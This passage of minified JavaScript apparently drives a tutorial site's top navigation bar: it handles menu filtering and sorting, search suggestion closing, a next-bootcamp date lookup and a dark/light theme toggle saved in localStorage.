tv;TopNavBar.closeSearchSuggestions=function(){TopNavBar.unmountSearchSuggestionsLogic();var searchSuggestionsElm= document.getElementById('tnb-search-suggestions');searchSuggestionsElm.style.display= 'none';searchSuggestionsElm.innerHTML= '';TopNavBar._iframeProxyFloatingComponent('TopNavBar.closeSearchSuggestions','tnb-search-suggestions','REMOVE',{'unmountFuncName': 'unmountSearchSuggestionsLogic',});};TopNavBar.allMenuItemsInCategoryAreHidden=function(menu,category){var elements= menu.querySelectorAll(`[data-category="${category}"]`);for (var i= 0; i < elements.length; i++){if(!elements[i].classList.contains('d-none')){return false;}}return true;};TopNavBar.clearFilter=function(event,sectionId){var filterInnerWrapperElm= event.target.classList.contains('filter-clear-btn') ? event.target.parentElement : event.target.parentElement.parentElement;var filterInputElm= filterInnerWrapperElm.querySelector('.filter-input');if(filterInputElm){filterInputElm.value= '';}TopNavBar.filter(event,sectionId,'');}TopNavBar._filterServices=function(event,sectionId,filterValue){var sectionElm= TopNavBar.element.querySelector('#' + sectionId);var serviceboxesElm= sectionElm.querySelector('.serviceboxes');var noMatchElm= serviceboxesElm.querySelector('#no-match');if(noMatchElm){noMatchElm.remove();}if(!filterValue){TopNavBar._findInnerElements(serviceboxesElm,'.servicebox',function(elm){elm.style.display= 'block';});}else{var matchFound= false;TopNavBar._findInnerElements(serviceboxesElm,'.servicebox',function(elm){if(elm.textContent.toLowerCase().indexOf(filterValue) !== -1){elm.style.display= 'block';matchFound= true;}else{elm.style.display= 'none';}});if(!matchFound){var noMatchMessage= document.createElement('div');noMatchMessage.id= 'no-match';noMatchMessage.textContent= 'No matches found';noMatchMessage.style.marginTop= '25px';noMatchMessage.style.textAlign= 'center';serviceboxesElm.appendChild(noMatchMessage);}}}TopNavBar.filter=function(event,sectionId,altValue){var filterValue= typeof altValue !== 'undefined' ? altValue : event.target.value.toLowerCase();if(sectionId=== 'nav_services' || sectionId=== 'sectionxs_services'){return TopNavBar._filterServices(event,sectionId,filterValue);}var sectionElm= TopNavBar.element.querySelector('#' + sectionId);var noMatchElm= sectionElm.querySelector('#no-match');if(noMatchElm){noMatchElm.remove();}var navNextBootcampElm= sectionElm.querySelector('#tnb-next-bootcamp');if((sectionId=== 'nav_tutorials'|| sectionId=== 'sectionxs_tutorials')&& navNextBootcampElm.style.display=== 'none'){navNextBootcampElm.style.display= 'block';}else{TopNavBar._findInnerElements(sectionElm,'.black-box-container',function(elm){elm.style.display= 'block';});}var uniqueCategoriesDeduplicator={};TopNavBar._findInnerElements(sectionElm,'[data-category]',function(elm){uniqueCategoriesDeduplicator[elm.getAttribute('data-category')]= true;});var uniqueCategories= Object.keys(uniqueCategoriesDeduplicator);TopNavBar._findInnerElements(sectionElm,'[data-name]',function(elm){var dataName= elm.getAttribute('data-name');if(!dataName.includes(filterValue)){elm.classList.remove('d-block');elm.classList.add('d-none');}else{elm.classList.remove('d-none');elm.classList.add('d-block');}});var emptyCategories= [];uniqueCategories.forEach(function(category){var allHidden= TopNavBar.allMenuItemsInCategoryAreHidden(sectionElm,category);if(allHidden){emptyCategories.push(category);}TopNavBar._findInnerElements(sectionElm,`[data-heading="${category}_title"]`,function(headingElm){if(allHidden){headingElm.classList.add('d-none');}else{headingElm.classList.remove('d-none');}});});if(emptyCategories.length=== uniqueCategories.length){var noMatchMessage= document.createElement('div');noMatchMessage.id= 'no-match';noMatchMessage.textContent= 'No matches found';noMatchMessage.style.marginTop= '25px';noMatchMessage.style.textAlign= 'center';sectionElm.querySelector('.w3-content').appendChild(noMatchMessage);if(sectionId=== 'nav_tutorials' || sectionId=== 'sectionxs_tutorials'){sectionElm.querySelector('#tnb-next-bootcamp').style.display= 'none';}else{TopNavBar._findInnerElements(sectionElm,'.black-box-container',function(elm){elm.style.display= 'none';});}}};TopNavBar.bootcampDates={"2023-09-18": "September 18th","2023-12-04": "November 14th","2024-01-16": "January 8th","2024-02-26": "March 5th"};TopNavBar.getNextBootcampDate=function(){var currentDate= new Date();var upcomingDates= Object.keys(TopNavBar.bootcampDates).filter(function(dateStr){return new Date(dateStr) > currentDate;});upcomingDates.sort(function(a,b){return new Date(a) - new Date(b)});if(upcomingDates.length > 0){var closestDate= upcomingDates[0];return TopNavBar.bootcampDates[closestDate];}else{return "Soon";}};TopNavBar.sortMenu=function(sectionId,type){var section= TopNavBar.element.querySelector('#nav_' + sectionId);var linkLists= TopNavBar._menuSectionsInTab[sectionId].map(function(listId){return section.querySelector(`#${listId}`);});if(type.toLowerCase()=== 'alphabetically'){linkLists.forEach(function(list){var divsArray= TopNavBar._findInnerElements(list,'div');divsArray.sort(function(a,b){var aText= a.querySelector('a').innerText;var bText= b.querySelector('a').innerText;return aText.toLowerCase().localeCompare(bText.toLowerCase());});divsArray.forEach(function(div){list.appendChild(div);});});}else{linkLists.forEach(function(section){var divsArray= TopNavBar._findInnerElements(section,'div');divsArray.sort(function(a,b){return a.dataset.originalIndex - b.dataset.originalIndex;});divsArray.forEach(function(div){section.appendChild(div);});});}};TopNavBar.closeAllNavItems=function(){TopNavBar.closeNavItem("tutorials");TopNavBar.closeNavItem("exercises");TopNavBar.closeNavItem("certified");TopNavBar.closeNavItem("services");TopNavBar.element.classList.remove('full-screen');TopNavBar.closeSearchSuggestions();};TopNavBar.initUserPreferredTheme=function(){TopNavBar.toggleUserPreferredTheme(true);};TopNavBar.toggleUserPreferredTheme=function(init){if(typeof init=== 'undefined'){init= false;}var pageTheme= localStorage.getItem('preferredpagemode');if(!init){if(pageTheme== 'dark'){pageTheme= 'light';}else{pageTheme= 'dark';}}var bodyClassName= document.body.className.replace('darktheme','').replace('darkpagetheme','').replace('',' ');if(pageTheme== 'dark'){bodyClassName += ' darktheme';bodyClassName += ' darkpagetheme';}document.body.className= bodyClassName;localStorage.setItem('preferredmode',pageTheme);localStorage.setItem('preferredpagemode',pageTheme);};TopNavBar.mouseHandler=function(event,elm,closingOrExtra){TopNavBar._logDebug('mouseHandler -> args: ',arguments);if(typeof closingOrExtra=== 'undefined'){closingOrExtra= false;}var icon= elm.querySelector('i');if(event.type=== 'keydown'){if(event.code !== 'Enter') return;if(event.code=== 'Enter'){if(elm.id.includes('close-nav-x')){TopNavBar.closeNavItem(closingOrExtra); return;}var modalonEnter= elm.nextElementSibling;icon.className= modalonEnter.style.display=== 'block' ? 'fa fa-caret-down filter-caret' : 'fa fa-caret-up filter-caret';modalonEnter.style.display= modalonEnter.style.display=== 'block' ? 'none' : 'block';}else{event.preventDefault();}}else if(elm.id.includes('close-nav-x')){TopNavBar.closeNavItem(closingOrExtra);}else{var modalonKeydown= elm.querySelector(".filter-modal-container");icon.className= closingOrExtra ? 'fa fa-caret-down filter-caret' : 'fa fa-caret-up filter-caret';modalonKeydown.style.display= closingOrExtra ? 'none' : 'block';}};TopNavBar._attachMenuSortLogic=function(){TopNavBar._logDebug('_attachMenuSortLogic');var storeOriginalSortIndexes=function(){var menus= [];TopNavBar._loopObj(TopNavBar._menuSectionsInTab,function(tabListIds,tabId){menus.push(tabListIds.map(function(listId){return TopNavBar.element.querySelector(`#nav_${tabId}`).querySelector(`#${listId}`);}));});menus.forEach(function(lists){lists.forEach(function(list){TopNavBar._findInnerElements(list,'div',function(divElm,divElmIndex){divElm.dataset.originalIndex= divElmIndex;});})});};storeOriginalSortIndexes();var attachSortBtnEventListeners=function(sortBtnElm){sortBtnElm.addEventListener('mouseenter',function(event){TopNavBar.mouseHandler(event,sortBtnElm,false);});sortBtnElm.addEventListener('mouseleave',function(event){TopNavBar.mouseHandler(event,sortBtnElm,true);});sortBtnElm.addEventListener('focusout',function(event){var isClickInside= sortBtnElm.contains(event.relatedTarget);if(!isClickInside){sortBtnElm.querySelector('.filter-modal-container').style.display= 'none';}})};var enabledSortNavs= ['tutorials','exercises','certified'];TopNavBar._loopArray(enabledSortNavs,function(sortNav){var sortBtnElm= TopNavBar.element.querySelector('#' + sortNav + '-sort-btn');if(sortBtnElm){attachSortBtnEventListeners(sortBtnElm);var sortFilterContainer= sortBtnElm.querySelector(".filter-modal");TopNavBar._logDebug('sortNav,sortFilterContainer: ',{sortNav: sortNav,sortFilterContainer: sortFilterContainer});if(sortFilterContainer){TopNavBar._findInnerElements(sortFilterContainer,'button',function(buttonElm){buttonElm.addEventListener('click',function(event){TopNavBar._logDebug('sortNav click: ',{sortNav: sortNav,eventTarget: event.target});var sortBy= event.target.innerText;TopNavBar.element.querySelector(`#${sortNav}-active-sorting`).textContent= sortBy;var sortByBtn= sortFilterContainer.querySelector(`#${sortNav}-${sortBy.toLowerCase()}`);sortFilterContainer.querySelector('.w3-button.active').classList.remove('active');sortByBtn.classList.add('active');TopNavBar.sortMenu(sortNav,sortBy);});});}}});};window.w3_open= TopNavBar.openMenu;window.w3_close= TopNavBar.closeMenu;window.w3_open_nav= TopNavBar.openNavItem;window.w3_close_nav= TopNavBar.closeNavItem;window.w3_close_all_topnav= TopNavBar.closeAllNavItems;window.open_search= TopNavBar.googleSearchFocusInput;window.gSearch= TopNavBar.googleSearchInit;TopNavBar.init();